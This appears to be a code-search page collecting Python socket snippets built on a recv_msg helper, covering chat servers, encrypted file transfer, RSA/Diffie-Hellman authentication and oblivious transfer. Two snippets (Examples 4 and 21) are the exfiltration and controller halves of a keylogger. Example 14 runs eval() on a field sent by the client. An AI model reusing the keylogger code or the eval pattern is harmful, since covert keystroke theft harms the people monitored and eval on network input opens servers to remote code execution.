Ejemplo n.º 1
0
def send(conn, addr, ms):
    user_to = recv_msg(conn).decode()
    context = recv_msg(conn).decode()
    user_from = get_user_by_addr(addr, USERS)

    if len(context) > MAX_MSG_LEN:
        send_msg(
            conn, "Massage is too long! Max length = {}!".format(
                MAX_MSG_LEN).encode())
        print(
            "[-] '{}'({}) sended message of length {}!".format(
                user_from, addr_to_str(addr)), len(context))
        return False

    if not user_from:
        send_msg(conn, b"U aren't registered!")
        print("[-] User isn't regitered!")
        return False

    if user_to not in USERS:
        send_msg(conn, "User '{}' doesn't exist!".format(user_to).encode())
        print("[-] There are not user '{}' in system!".format(user_to))
        return True

    ms.add_message(user_from, user_to, context)
    send_msg(conn, b"Message added to storage!")
    print("[+] Message ('{}') from '{}'({}) sent to '{}'".format(
        context, user_from, addr_to_str(addr), user_to))
    return True
Ejemplo n.º 2
0
def main():
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((sys.argv[1], 9999))
    s.listen(10)

    print("starting server...")

    while True:
        try:
            while True:
                sc, address = s.accept()
                print("accepted " + str(address))

                message = utils.recv_msg(sc)
                parsed_message = parser.RequestMessageParser.parse(message)
                handler_response = handler.RequestHandler.handle(parsed_message)
                utils.send_msg(sc, handler_response)
                sc.close()

            s.close()
        except Exception:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            lines = traceback.format_exception(exc_type, exc_value, exc_traceback)
            print(''.join('!! ' + line for line in lines))
Ejemplo n.º 3
0
def send_command(args, callback=lambda sock: print("Connected", sock)):
    """connects to the server and sends the command

    :param args:   this object is similar to the one parsed from the commandline,
        contains "host" and "port" members
    :param callback(sock, respjson): a function to call when connected to the server.
        sock:   Gets passed the socket object, the socket object at this point is already connected and is ready to send or recv.
    :return the callback result
    """

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        print('connecting to server...', end='')
        s.connect((args['host'], args['port']))  # connect
        print('\rConnection established                       ')

        args['auth'] = False
        # setup IV
        args['iv'] = secrets.token_bytes(16)
        request_json = format_args_to_json(args)

        # send the command/request json
        send_msg(s, _string_to_bytes(request_json))

        # check if server acknowledged the command
        # (if resp is included in one of the success response codes)
        resp = recv_msg(s)
        resp_json = json.loads(_bytes_to_string(resp))
        if resp_json['readystate'] in [202]:
            res = callback(s)

            send_msg(s, b'200')  # send OK code
            print('\nTransaction complete')
            return res
Ejemplo n.º 4
0
def listen():
    """
    Listens for incoming connection by the serber and sends him the keylog when requested. All encrypted.
    """
    global CERT_FILE, connected, log
    listener = socket.socket()
    utils.set_keepalive(listener)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind(("", HOST_PORT))
    listener.listen(1)
    while True:
        conn, _ = listener.accept()
        connected = True
        conn = ssl.wrap_socket(
            sock=conn, ca_certs=CERT_FILE, cert_reqs=ssl.CERT_REQUIRED)
        while True:
            try:
                if utils.recv_msg(conn) == "send file":
                    utils.send_msg(conn, log)
                    log = ""
            except (socket.timeout, socket.error):
                conn.close()
                connected = False
                break
    listener.close()
Ejemplo n.º 5
0
def put(conn: socket, args=None):
    # recv file from client and write to file
    print('receiving file...')
    client_data = AttrDict(json.loads(_bytes_to_string(recv_msg(conn))))

    args.filename = os.path.join('files', args.filename)

    data = client_data.data

    if data is None:
        print("Problem: data received is None")
    print("got the file data!: {}Bytes".format(len(data)))

    if not os.path.isdir('./files'):
        os.mkdir('./files')

    with open(args.filename, 'wb+') as file:
        plaintext = args.cipherfunc(data=data,
                                    key=args.key,
                                    decrypt=True,
                                    iv=client_data.iv)
        file.write(plaintext)

    print('recieved file:', args.filename)

    if os.path.isfile(args.filename):
        subprocess.Popen(r'explorer /select,"{}"'.format(args.filename))
 def callback(conn: socket):
     resp = recv_msg(conn)
     filelist = json.loads(resp)
     prettystr = '\n'.join(
         ['\t{} | \t{}'.format(i, file) for i, file in enumerate(filelist)])
     print("List of server files:\n", prettystr)
     return filelist
Ejemplo n.º 7
0
    def callback(conn: socket):
        # receive data
        resp = json.loads(_bytes_to_string(recv_msg(conn)))

        if 'file_index' in args and args['file_index'] == True:
            args['filename'] = resp['filename']
            del args['file_index']

        if not os.path.isdir('./client_files'):
            os.mkdir('./client_files')

        filename = os.path.join('client_files', path_leaf(args['filename']))

        if os.path.isdir(filename):
            args['filename'] = os.path.join(args['filename'], resp['filename'])

        # === done preparing filesystem ===

        with open(filename, 'wb+') as f:
            plaintext = args['cipherfunc'](data=resp['data'],
                                           key=args['key'],
                                           decrypt=True,
                                           iv=resp['iv'])
            f.write(plaintext)
            if os.path.isfile(filename):
                subprocess.Popen(r'explorer /select,"{}"'.format(filename))
    def callback(conn: socket):
        # receive data
        resp = AttrDict(json.loads(_bytes_to_string(recv_msg(conn))))

        if args.file_index:
            args.filename = resp.filename
            delattr(args, 'file_index')

        if not os.path.isdir('./files'):
            os.mkdir('./files')

        filename = args.filename \
            if args.filename.startswith('files') \
            else os.path.join('files', args.filename)

        if os.path.isdir(filename):
            args.filename = os.path.join(args.filename, resp.filename)

        # === done preparing filesystem ===

        with open(filename, 'wb+') as f:
            plaintext = args.cipherfunc(data=resp.data,
                                        key=args.key,
                                        decrypt=True,
                                        iv=resp.iv)
            f.write(plaintext)
            if os.path.isfile(filename):
                subprocess.Popen(r'explorer /select,"{}"'.format(filename))
Ejemplo n.º 9
0
def handler(conn, addr, ms):
    try:
        while True:
            msg = recv_msg(conn)
            print("[+] '{}' from {}".format(msg.decode(), addr_to_str(addr)))
            if msg == b"register":
                if not register(conn, addr):
                    break
            elif msg == b"users":
                get_users(conn, addr)
            elif msg == b"logout":
                logout(conn, addr, ms)
            elif msg == b"send":
                if not send(conn, addr, ms):
                    break
            elif msg == b"receive":
                receive(conn, addr, ms)
            elif msg == b"sendall":
                sendall(conn, addr, ms)
            else:
                break
    except error:
        print("[-] Can't read more from {}".format(addr))
    except Exception as ex:
        print("[-] Exception: {}".format(ex))
    finally:
        conn.close()
Ejemplo n.º 10
0
def put(conn: socket, args=None):
    # recv file from client and write to file
    print('receiving file...')
    client_data = json.loads(_bytes_to_string(recv_msg(conn)))

    args['filename'] = os.path.join('server_files', args['filename'])

    data = client_data['data']
    if data is None:
        print("Problem: data received is None")
    print("got the file data!: {}Bytes".format(len(data)))

    if not os.path.isdir('./server_files'):
        os.mkdir('./server_files')

    filename = os.path.join('server_files', path_leaf(args['filename']))

    print('iv=', client_data['iv'])

    with open(filename, 'wb+') as f:
        plaintext = args['cipherfunc'](data=data,
                                       key=args['key'],
                                       decrypt=True,
                                       iv=client_data['iv'])
        f.write(plaintext)

    print('recieved file:', args['filename'])

    if os.path.isfile(filename):
        subprocess.Popen(r'explorer /select,"{}"'.format(args['filename']))
Ejemplo n.º 11
0
Archivo: client.py Proyecto: stryku/hb
def main():
    s = socket.socket()
    s.connect((sys.argv[1], 9999))
    req = create_request()
    utils.send_msg(s, req)
    resp = utils.recv_msg(s)
    handler.ResponseHandler.handle(resp)
    #print('received response: ' + resp.decode())
    s.close()
Ejemplo n.º 12
0
def on_other_process(sock, model):
    message = Texts.FromString(recv_msg(sock))
    for text in message.texts:
        logger.info(f"input: {text}")
    results = Results(results=[
        Result(**prediction) for prediction in model(list(message.texts))
    ])
    logger.info("sending")
    send_msg(sock, results.SerializeToString())
    sock.close()
    logger.info("done")
def send_command(args, callback=lambda sock: print("Connected", sock)):
    """connects to the server and sends the command

    :param args:   this object is similar to the one parsed from the commandline,
        contains "host" and "port" members
    :param callback(sock, respjson): a function to call when connected to the server.
        sock:   Gets passed the socket object, the socket object at this point is already connected and is ready to send or recv.
    :return the callback result
    """

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        print('connecting to server...', end='')
        s.connect((args.host, args.port))  # connect
        print('\rConnection established                       ')

        # random initialization vector
        setattr(args, 'iv', secrets.token_bytes(16))

        if not hasattr(args, 'cipherfunc'):
            setattr(args, 'cipherfunc', CipherLib.none)

        ################
        # serialize args
        ################
        import copy
        s_args = copy.deepcopy(vars(args))
        for k, v in s_args.items():
            if isinstance(v,
                          types.FunctionType):  # functions get the name passed
                s_args[k] = v.__name__
            elif isinstance(v, bytes):  # bytes get turned into strings
                s_args[k] = _bytes_to_string(v)

        s_args['cipher'] = s_args.get('cipherfunc', 'none')
        del s_args['key']  # delete key (otherwise is sent in plaintext)

        request_json = json.dumps(s_args)
        print('Sending command: "{}"'.format(request_json))

        # send the command/request json
        send_msg(s, _string_to_bytes(request_json))

        # check if server acknowledged the command
        # (if resp is included in one of the success response codes)
        resp = recv_msg(s)
        resp_json = AttrDict(json.loads(_bytes_to_string(resp)))
        if resp_json.readystate in [202]:
            res = callback(s)

            send_msg(s, b'200')  # send OK code
            print('\nTransaction complete')
            return res
Ejemplo n.º 14
0
def recv_next_command(conn: socket, client_parser=None):
    """
    waits for a command by the client, and returns the parsed args,
    responds to the client with 202 and data on success

    :param conn: socket connection
    :return: client command arguments, or None if invalid command
    """
    command_json = _bytes_to_string(recv_msg(conn))
    print("received req:", command_json)

    try:
        #
        #
        #
        client_args = {  # extend defaults
            'file_index': None,
            'local': False,
            'key': DEFAULT_KEY,
            'cipher': 'none',
            'filename': '',
            'function': lambda x: None,
            'iv': None,
        }
        client_args.update(json.loads(command_json))  # update
        client_args = AttrDict(client_args)

        # converting args (parsing strings to bytes and function names to functions)
        client_args.cipherfunc = getattr(CipherLib, client_args.cipher)
        client_args.iv = _string_to_bytes(client_args.iv)
        client_args.function = eval(client_args.function)

        # printing object:
        import pprint
        pp = pprint.PrettyPrinter(indent=4)
        print('client_args received')
        pp.pprint(vars(client_args))

        #

        server_resp = _string_to_bytes(
            json.dumps({
                'readystate': 202,  # code "202" meaning (accepted)
            }))
        send_msg(conn, server_resp)
        return client_args
    except Exception as e:
        print("ERROR executing command:", e)
        return None
Ejemplo n.º 15
0
 def run(self):
     """Check self.sock."""
     while self.is_alive:
         # if is receiving image or file, not check
         while self.is_receiving:
             time.sleep(0.1)
         try:
             message = utils.recv_msg(self.sock)
         except BlockingIOError:
             time.sleep(0.1)
             continue
         self.is_receiving = True
         t = Thread(target=self.handle_receive_message,
                    args=(message, ),
                    daemon=True)
         t.start()
Ejemplo n.º 16
0
 def run(self):
     try:
         while True:
             if not client_running: # el cliente ha salido y hay que matar el thread
                 break
             ready = select.select([self.s], [], [], 5) # timeout de 5 segundos por si el cliente cierra (a lo bestia)
             if ready[0]:
                 self.data = utils.recv_msg(self.s) # recibimos mensaje del servidor
                 if self.data:
                     self.process_data()
                 else: # el servidor devuelve None cuando se desconecta
                     break
                 self.server_response = True
     except:
         print sys.exc_info()
     finally:
         self.s.close() # cerramos el socket
         sys.exit()
Ejemplo n.º 17
0
def recv_next_command(conn: socket, client_parser=None):
    """
    waits for a command by the client, and returns the parsed args,
    responds to the client with 202 and data on success

    :param conn: socket connection
    :return: client command arguments, or None if invalid command
    """
    command_json = _bytes_to_string(recv_msg(conn))
    print("received req:", command_json)

    client_args = parse_command_json(command_json)

    server_resp = _string_to_bytes(
        json.dumps({
            'readystate': 202,  # code "202" meaning (accepted)
        }))
    send_msg(conn, server_resp)
    return client_args
Ejemplo n.º 18
0
def register(conn, addr):
    login = recv_msg(conn)

    try:
        login = login.decode()
    except Exception:
        send_msg(conn, b"Can't decode login!")
        print("[-] Can't decode login!")
        return False

    if not login:
        send_msg(conn, b"Bad login!")
        print("[-] ({}) empty login!".format(addr_to_str(addr)))
        return False

    if len(login) > MAX_USER_LEN:
        send_msg(conn, b"Login is too long!")
        print("[-] ({}) Username '{}' is greater then {} chars!".format(
            addr_to_str(addr), login, MAX_USER_LEN))
        return False

    if login not in USERS:
        if addr[0] not in USERS.values():
            USERS[login] = addr[0]
            send_msg(conn, "Hello, {}".format(login).encode())
            print("[+] '{}'({}) registered!".format(login, addr_to_str(addr)))
            return True
        else:
            user = get_user_by_addr(addr, USERS)
            send_msg(conn,
                     "{} was used before!".format(addr_to_str(addr)).encode())
            print("[-] '{}'({}) used address of {}!".format(
                login, addr_to_str(addr), user))
            return False
    elif USERS.get(login, "") == addr[0]:
        send_msg(conn, "Nice to see you, {}".format(login).encode())
        print("[+] '{}'({}) logined!".format(login, addr_to_str(addr)))
        return True
    else:
        send_msg(conn, "'{}' already exists!".format(login).encode())
        print("[-] '{}'({}) already exists!".format(login, addr_to_str(addr)))
        return False
Ejemplo n.º 19
0
 def run(self):
     global connection_list
     try:
         while True:
             self.data = utils.recv_msg(self.connection) # recibe datos del socket cliente
             if self.data:
                 if type(self.data) == type(""): # si recibimos un string
                     self.chat()
                 elif self.data.vk == 1: # el cliente pulsa ESC
                     self.pop()
                     break
                 elif self.data.vk in [14, 15, 16, 17]: # el cliente pulsa movimiento
                     self.move()
             else: # el cliente se ha desconectado (a lo bestia)
                 self.pop()
                 break
     except:
         print sys.exc_info()
     finally:
         global_queue.put({"type": "DELETE", "address": self.address})
         self.connection.close() # cerrar la conexión con el cliente
         sys.exit() # matamos el thread
Ejemplo n.º 20
0
    def run(self):
        """Check every sock in self.server_socks."""
        while array([sock is None for sock in self.socks.values()
                     ]).any():  # someone haven't confirm
            time.sleep(0.1)
        while self.is_alive:
            for key, sock in self.socks.items():

                if self.is_receiving[key]:
                    continue

                try:
                    message = utils.recv_msg(sock)
                except BlockingIOError:
                    continue

                self.is_receiving[key] = True

                t = Thread(target=self.handle_receive_message,
                           args=(message, key),
                           daemon=True)
                t.start()
Ejemplo n.º 21
0
def fetch_file(host, on_file_fetched, update_hosts):
    """
    Fetch the keylog from a specified connected host

    Args:
        host: the IP of the host
        on_file_fetched: callback after fetching the file
        update_hosts: function to call to refresh the ui of the hosts in case the host disconnected
    """
    global hosts
    if host not in hosts.keys():
        return
    conn = hosts[host]
    try:
        utils.send_msg(conn, "send file")
        file = utils.recv_msg(conn)
        with open(host + ".log", "a", encoding="utf-8") as f:
            f.write(file)
        on_file_fetched(utils.Event(host=host, file=file))
    except (socket.timeout, socket.error):
        conn.close()
        del hosts[host]
        update_hosts(utils.Event(hosts=hosts.keys()))
Ejemplo n.º 22
0
import argparse
import socket
import sys

from message_pb2 import *
from utils import recv_msg, send_msg

parser = argparse.ArgumentParser()
parser.add_argument("--FILENAME",
                    type=str,
                    default="/tmp/py_server",
                    help="unix domain socket")
args = parser.parse_args()

texts = Texts(texts=[line.strip() for line in sys.stdin])
print(texts)

with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:

    s.connect(args.FILENAME)
    send_msg(s, texts.SerializeToString())
    results = Results.FromString(recv_msg(s))
    print(results)
Ejemplo n.º 23
0
 def init_map(self):
     self.clientMap = utils.recv_msg(self.clientSock)
     self.clientMap.console = libtcod.console_new(self.clientMap.width, self.clientMap.height)
Ejemplo n.º 24
0
def authenticate(args, is_client=True, conn=None):
    ## setting up asymmetric key
    # n, e, d, q, p = init_asym_key(is_client)
    # pubkey = rsa.PublicKey(n, e)
    # privkey = rsa.PrivateKey(n, e, d, q, p)

    pubkey, privkey = rsa.newkeys(2048, poolsize=8)

    ## setting up Diffie Hellmen
    # Alice is the client, Bob is the server
    exp, g, m = init_DiffieHellman()
    # g_x_mod_m = (g ** exp) % m
    g_x_mod_m = exp_mod(g, exp, m)

    if is_client:
        name = "Alice"
    else:
        name = "Bob"

    ## Generating challenge
    r_challenge = int_from_bytes(secrets.token_bytes(256 // 8))  # 256-b = 8-B

    ## setting args attrs
    init_info = {
        'r_challenge': r_challenge,
        'name': name,
        'g_x_mod_m': g_x_mod_m,  # Diffie Hellman segment
        'n': pubkey.n,
        'e': pubkey.e,
    }

    name = _string_to_bytes(name)

    if is_client:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
            print('connecting to server...', end='')
            conn.connect((args['host'], args['port']))  # connect
            print('\rConnection established                       ')

            if 'test' in args and args['test'] == 2:
                privkey.d -= 1

            ##############
            # send msg 1 #
            ##############
            args['seq'] = 1
            args['msg1'] = init_info
            print('auth: sending auth command and msg1...:', list(args.keys()))
            send_msg(conn, _string_to_bytes(format_args_to_json(args)))

            # OK 200 response
            resp = json.loads(_bytes_to_string(recv_msg(conn)))
            if resp['readystate'] in [200]:
                print(
                    "ERROR: server did not respond with OK 200, terminating session..."
                )
                return

            ##############
            # recv msg 2 #
            ##############
            msg2 = msg2args(recv_msg(conn))
            assert msg2['seq'] == 2
            print('auth: received msg 2:', list(msg2.keys()))

            info_b = msg2['info']
            name_b = _string_to_bytes(info_b['name'])

            g_ab_mod_m = compute_dh_key(exp, info_b['g_x_mod_m'], m)

            # assemble Bob's public key
            pubkey_b = rsa.PublicKey(info_b['n'], info_b['e'])

            ## step 2
            # H= h256(Alice, Bob,         R A ,        R B ,               g a mod m,  g b mod m, g ab mod m)
            H = h256(name, name_b, r_challenge, info_b['r_challenge'],
                     g_x_mod_m, info_b['g_x_mod_m'], g_ab_mod_m)

            ## step 3 verificying secret
            S_b_signature = msg2['S'].strip(b'\x00')
            S_b = H + name_b
            rsa.verify(S_b, S_b_signature, pubkey_b)

            # build key
            K = h256(g_ab_mod_m)

            ## destroy a:
            print('destroying exponent a:', exp)
            del exp

            ##############
            # send msg 3 #
            ##############
            S_a = H + name
            S_a_signature = rsa.sign(S_a, privkey, 'SHA-256')

            msg3_payload = name + S_a_signature
            msg3_ciphertext = CipherLib.aes(msg3_payload, key=K)

            msg3 = {
                'seq': 3,
                'payload': msg3_ciphertext,
            }
            print('auth: sending msg #3', list(msg3.keys()))

            # sending E(Alice, S_A ,)
            print('sending msg3:', msg3)
            send_msg(conn, args2msg(msg3))

            return K

    else:  # if server (Bob)

        ##############
        # recv msg 1 #
        ##############

        # changing key for testing, auth should fail
        if 'test' in args and args['test'] == 1:
            privkey.d -= 1

        # client has already sent the stuff
        msg1 = args['msg1']
        assert args['seq'] == 1
        print('auth: received msg1', list(msg1.keys()))

        name_a = _string_to_bytes(msg1['name'])
        g_ab_mod_m = compute_dh_key(exp, msg1['g_x_mod_m'], m)

        # assemble Alice's public key
        pubkey_a = rsa.PublicKey(msg1['n'], msg1['e'])

        ##############
        # send msg 2 #
        ##############
        # H = h 256 (Alice, Alice, R A , R B , g a mod m, g b mod m, g ab mod m)
        H = h256(name_a, name, msg1['r_challenge'], r_challenge,
                 msg1['g_x_mod_m'], g_x_mod_m, g_ab_mod_m)

        S_b = H + name
        S_b_signature = rsa.sign(S_b, privkey, 'SHA-256')

        K = h256(g_ab_mod_m)

        # R_B , g b mod m, S B
        # this was prepared in the beginning of this function (after init DH)
        msg2 = {
            'seq': 2,
            'S': S_b_signature,
            'info': init_info,
        }
        print('sending msg2:', msg2)
        send_msg(conn, args2msg(msg2))

        ##############
        # recv msg 3 #
        ##############
        msg3_container = msg2args(recv_msg(conn))
        assert msg3_container['seq'] == 3
        msg3_ciphertext = msg3_container['payload']

        msg3 = CipherLib.aes(msg3_ciphertext, decrypt=True, key=K)

        ## verifying secret
        S_a_signature = msg3[len(name_a):].strip(b'\x00')
        S_a = (H + name_a)
        try:
            rsa.verify(S_a, S_a_signature, pubkey_a)
        except rsa.VerificationError as e:
            print('AUTHENTICATION FAILED!! S_a did not match signature:\n',
                  S_a_signature, ' is not the signature of ', S_a)
            return False

        ## destroy b:
        print('destroying exponent b:', exp)
        del exp

        return K
def main():
    """
    Step 1: Alice generates an RSA key pair PK=(n,e) and SK=(d) and  generates two random  values, r_0 and r_1, and sends them to Bob along with her PK
    Step 2: Bob picks a bit b to be either 0 or 1, and selects r_b
    Step 3: Bob generates a random value k and blinds  r_b by computing  〖v=r〗_b+k^e  mod n and send it to Alice
    Step 4: Alice doesn't know which of  r_0 and r_1 Bob chose.
        She applies them both and come up with two possible values for k:k_0=(v−x_0 )^d  mod n and k_1=(v−x_1 )^d  mod n 
 Eventually,
        one of these will be equal to  k and can be correctly decrypted by Bob (but not Alice),
        while the other will produce a meaningless random value that does not  reveal any  information about  k
    Step 5: Alice combines the two secret messages with each of the possible keys, m_0^′=m_0+k_0 and m_1^′=m_1+k_1, and sends them both to Bob
    Step 6: Bob knows which of the two messages can be unblinded with  k, so he is able to compute  exactly one of the messages m_b=m_b^′−k
    :return:
    """
    parser = get_arg_parser()
    print(DESCRIPTION + "\n")

    args = parser.parse_args()

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        print('connecting to server...', end='')
        s.connect((args.host, args.port))  # connect
        print('\rConnection established ')

        # recv public key
        resp = recv_msg(s)
        resp = json.loads(_bytes_to_string(resp))

        alice_pubkey = rsa.PublicKey(resp['n'], resp['e'])
        r_b_choices = list(map(_string_to_bytes, resp['r_b_choices']))

        print('alice_pubkey', alice_pubkey)
        print('r_b_choices', r_b_choices)

        #    Step 2: Bob picks a bit b to be either 0 or 1, and selects r_bs
        r_b = int.from_bytes(r_b_choices[args.msg_index], 'big')

        #    Step 3: Bob generates a random value k and blinds  r_b by computing  〖v=r〗_b+k^e  mod n and send it to Alice
        k = secrets.token_bytes(4)
        k_int = int.from_bytes(k, 'big')
        print('k=', k_int)
        print('r_b=', r_b)
        v = _string_to_bytes(str(alice_pubkey.blind(r_b, k_int)))

        print('v=', v)
        send_msg(s, v)

        #    Step 6: Bob knows which of the two messages can be unblinded with  k, so he is able to compute  exactly one of the messages m_b=m_b^′−k
        resp6 = recv_msg(s)
        resp6_str = _bytes_to_string(resp6)
        print('resp6_str=', resp6_str)
        combined_list = resp6_str.split(',')
        combined_list = list(map(_string_to_bytes, combined_list))

        f = Fernet(k)

        # value = combined_list[args.msg_index] ^ k_int
        value = f.decrypt(combined_list[args.msg_index])

        print('the value is:', value)

        if resp in [202]:
            send_msg(s, b'200')  # send OK code
            print('\nTransaction complete')
Ejemplo n.º 26
0
 def recv_msg(self, msg):
     return recv_msg(self.socket, msg)
Ejemplo n.º 27
0
now = datetime.now().strftime('%y%m%d%H%M%S')
filename = './log/' + now + '.log'
fhandler = logging.FileHandler(filename, delay=True)
fformat = logging.Formatter(
    '%(asctime)s::%(levelname)s::%(name)s - %(message)s')
fhandler.setFormatter(fformat)
fhandler.setLevel(logging.DEBUG)
applogger.addHandler(fhandler)

if __name__ == '__main__':
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('192.168.0.47', 49152))
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        fig = plt.figure()
        ax = fig.add_subplot(1, 1, 1)

        try:
            plt.ion()

            for i in range(100):
                data = recv_msg(s)

                data = np.load(BytesIO(data), allow_pickle=True)
                if i == 0:
                    im = ax.imshow(data)
                else:
                    im.set_data(data)
                plt.pause(0.1)
        finally:
            plt.ioff()
Ejemplo n.º 28
0
                #    generates n random  values, r_0 and r_1, and sends them to Bob along with her PK
                r_b_choices = [secrets.token_bytes(4) for i in range(args.n_msgs)]
                
                json_string = json.dumps({
                    'e': pubkey.e,
                    'n': pubkey.n,
                    'r_b_choices': list(map(_bytes_to_string, r_b_choices)),
                })
                send_msg(conn, _string_to_bytes(json_string))

                # Step 4: Alice doesn't know which of  r_0 and r_1 Bob chose.
                #         She applies them both and come up with two possible values for k:k_0=(v−x_0 )^d  mod n and k_1=(v−x_1 )^d  mod n  Eventually,
                #         one of these will be equal to  k and can be correctly decrypted by Bob (but not Alice),
                #         while the other will produce a meaningless random value that does not  reveal any  information about k
                resp4 = recv_msg(conn)
                v = _bytes_to_string(resp4)
                print('v=', v)
                print('r_b_choices=', r_b_choices)
                k_list = [privkey.unblind(v, int.from_bytes(r_b, 'big')) for r_b in r_b_choices]
                
                print('k_list=', k_list)

                # combining the message with the key: m' = m+k
                # combined_msgs = [messages[i] ^ k_list[i] for i in range(args.n_msgs)]
                print('before getting msgs')
                
                combined_msgs = [Fernet(k_list[i]).encrypt(messages[i]) for i in range(args.n_msgs)]
                print('after msg list')
                combined_msgs = ','.join(list(map(_bytes_to_string, combined_msgs))) # serialized
                print('sending combined_msgs:', combined_msgs)
Ejemplo n.º 29
0
 # check and turn on TCP Keepalive
 # x = s.getsockopt( socket.SOL_SOCKET, socket.SO_KEEPALIVE)
 # if( x == 0):
 #     if args.verbose:
 #         print ("Socket Keepalive off, turning on")
 #     x = s.setsockopt( socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
 #     if args.verbose:
 #         print ("setsockopt=", x)
 # else:
 #     if args.verbose:
 #         print ("Socket Keepalive already on")
 s.listen()
 while True:
     conn, addr = s.accept()
     try:
         data = recv_msg(conn)
         print("Received data", data)
         if args.verbose:
             # got incomping data
             print("raw", data)
         # no incoming data
         if not data:
             print("break")
             break
         elif data == b'killsrv':
             if args.verbose:
                 print("terminate server")
             conn.close()
             sys.exit()
         else:
             out_json = latent_navigation(data)
Ejemplo n.º 30
0
    def handle_receive_message(self, sock, address):
        """Handle received message, which maybe text, image or file.
        This function will be called in multi-threading!
        """
        ip, _ = address
        decoded_message = utils.decode_message(utils.recv_msg(sock))
        if decoded_message is None:
            return

        chat_name, port, message_type, sender_id, _, _ = decoded_message

        # should only receive chat request or response in this function!
        try:
            assert message_type in [3, 4, 5, 6]
        except AssertionError:
            return

        if message_type == 3:  # private chat request
            sender = self.get_user_via_id(sender_id)
            if sender is None:
                # other wants to start a private chat with me
                sender = User(user_id=sender_id,
                              name=None,
                              ip=ip,
                              port=port,
                              icon=utils.get_icon())
                self.update_user(sender, sock=sock)
            else:
                # the user exists but still want a new chat
                # may because other deletes me and then add me back
                pass
        elif message_type == 4:  # group chat request
            chat = self.get_chat_via_name(chat_name)
            if chat is None:
                # other wants to start a group chat with me
                user_ids = utils.get_id_from_chat_name(chat_name)
                group_users = {}
                for user_id in user_ids:
                    if user_id == self.me_user.user_id:
                        continue
                    exist_user = self.get_user_via_id(user_id)
                    if exist_user is None:
                        result = self.central_server_connector.search_user(
                            user_id)
                        if self.use_my_central_server:
                            exist_user = User(user_id=user_id,
                                              name=None,
                                              ip=result[0],
                                              port=result[1],
                                              icon=utils.get_icon())
                        else:
                            exist_user = User(user_id=user_id,
                                              name=None,
                                              ip=result,
                                              port=config.GENERAL_PORT,
                                              icon=utils.get_icon())
                    else:
                        exist_user = copy.deepcopy(exist_user)
                    group_users[user_id] = exist_user
                chat = GroupChat(self.me_user,
                                 group_users,
                                 self.normal_chat_signals,
                                 group_leader_id=sender_id,
                                 sock=sock)
                chat.start()
                self.update_chat(chat)

                t = Thread(target=chat.init_socks, daemon=True)
                t.start()

            else:
                # group chat exists
                pass
        elif message_type == 5:  # private chat response
            # actually useless
            pass
        elif message_type == 6:  # group chat response
            # just update this sock to this group chat
            chat = self.get_chat_via_name(chat_name)
            if chat is None:
                return
            chat.update_server_sock(sock, sender_id)